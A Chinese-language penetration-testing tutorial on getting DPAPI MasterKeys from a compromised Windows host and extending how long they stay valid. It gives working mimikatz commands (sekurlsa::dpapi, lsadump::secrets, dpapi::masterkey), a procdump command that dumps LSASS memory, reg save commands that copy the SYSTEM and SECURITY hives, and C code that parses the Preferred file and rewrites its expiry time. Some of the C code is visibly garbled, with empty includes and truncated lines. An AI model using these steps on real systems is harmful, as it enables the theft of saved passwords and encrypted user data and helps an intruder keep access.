渗透技巧——获取Windows系统下DPAPI中的MasterKey

0x00前言

对于Windows系统，用户的加密数据大都采用DPAPI进行存储，而想要解密这些数据解，必须要获得DPAPI对应的MasterKey。本文将会介绍在获得了Windows系统的权限后获得MasterKey的方法，同时分析Preferred文件格式，延长MasterKey的有效期

0x01 简介

本文将要介绍以下内容

基本概念

·获得MasterKey的方法

·解析Preferred文件

·修改MasterKey失效时间

0x02 基本概念

DPAPI：

全称Data Protection Application Programming Interface

作为Windows系统的一个数据保护接口被广泛使用

主要用于保护加密的数据，常见的应用如：

·EFS文件加密

·存储无线连接密码

·Windows Credential Manager

·Internet Explorer

·Outlook

·Skype

·Windows CardSpace

·Windows Vault

·Google Chrome

Master Key：

64字节，用于解密DPAPI blob，使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

Master Key file：

二进制文件，可使用用户登录密码对其解密，获得Master Key

分为两种：

·用户Master Key file，位于%APPDATA%\Microsoft\Protect\%SID%

·系统Master Key file，位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Preferred文件：

位于Master Key file的同级目录，显示当前系统正在使用的MasterKey及其过期时间，默认90天有效期

0x03 获得MasterKey的方法

本节主要介绍通过mimikatz获得MasterKey的方法

1、在线获取

通过读取Lsass进程信息，获取当前系统中的MasterKey，能获得多个Master Key file对应的MasterKey

管理员权限：

privilege::debug

sekurlsa::dpapi

如下图

2、离线读取

思路一：

使用procdump dump出LSASS进程内存

管理员权限：

procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用mimikatz加载dmp文件并获取各个Master Key file对应的MasterKey：

sekurlsa::minidump lsass.dmp

sekurlsa::dpapi

思路二：

参考资料：

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials

（1）复制注册表文件

管理员权限：

reg save HKLM\SYSTEM SystemBkup.hiv

reg save HKLM\SECURITY SECURITY.hiv

（2）从注册表文件中获得DPAPI_SYSTEM

mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

如下图

DPAPI_SYSTEM中的user hash为c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3，能够用来解密位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User下的系统Master Key file

（3）解密系统Master Key file，获得MasterKey

mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"

如下图

0x04 解析Preferred文件

位于Master Key file的同级目录，显示当前系统正在使用的MasterKey file及其过期时间

格式如下：

typedef struct _tagPreferredMasterKey

{

GUID guidMasterKey;

FILETIME ftCreated;

} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

例如C:\Users\b\AppData\Roaming\Microsoft\Protect\S-1-5-21-2884853959-2080156797-250722187-1002\Preferred

如下图

前16字节F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58对应guid，调整格式后，对应文件为a111b0f6-b4d7-40c8-b536-672a8288b958

后8字节D0 08 9F 7D 11 EC D3 01对应过期时间

对于表示时间的FILETIME，格式如下：

typedef struct _FILETIME {

DWORD dwLowDateTime;

DWORD dwHighDateTime;

} FILETIME, *PFILETIME;

想要显示成日常使用的时间格式，需要将FILETIME类型转成SYSTEMTIME类型

在程序实现上，还需要注意使用sscanf_s函数将字符串转换为DWORD格式

可供参考的C代码如下：

#include

int main(void)

{

FILE *fp;

unsigned char buf[24];

fopen_s(&fp,"Preferred","rb");

fread(buf,1,24,fp);

printf("Data: ");

for(int i=0;i

{

printf("%02x",buf[i]);

}

fclose(fp);

printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);

char lowDateTime[9],highDateTime[9];

sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);

sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);

printf("dwLowDateTime:%s\n",lowDateTime);

printf("dwHighDateTime:%s\n",highDateTime);

FILETIME ftUTC;

SYSTEMTIME stUTC2;

sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);

sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);

FileTimeToSystemTime(&ftUTC, &stUTC2);

printf("");

printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);

return 0;

}

注：

也可以使用fread读取int型数据来解决字符串倒序的问题

读取Preferred文件，解析出当前系统正在使用的Master Key file的guid和过期时间

测试如下图

0x05 修改MasterKey失效时间

修改思路：

输入过期时间，将过期时间转为FILETIME格式，替换Preferred文件的FILETIME

可供参考的c代码如下：

#include

int main(void)

{

SYSTEMTIME st=;

FILETIME ft=;

printf("[+]Start to change expiry time...\n");

st.wYear = 2019;

st.wMonth = 12;

st.wDay = 30;

st.wHour = 12;

st.wMinute = 30;

st.wSecond = 30;

printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);

SystemTimeToFileTime(&st,&ft);

printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);

printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);

FILE *fp;

fopen_s(&fp,"Preferred","rb+");

fseek(fp,16,SEEK_SET);

fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);

fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);

fclose(fp);

printf("[+]Change success.\n");

return 0;

}

读取Preferred文件，将过期时间设置为2019-12-30 12:30:30

修改后重新读取Preferred文件信息，成功修改，如下图

0x06 小结

本文总结了在获得了Windows系统的权限后获得MasterKey的方法，编写程序自动分析Preferred文件格式并延长MasterKey的有效期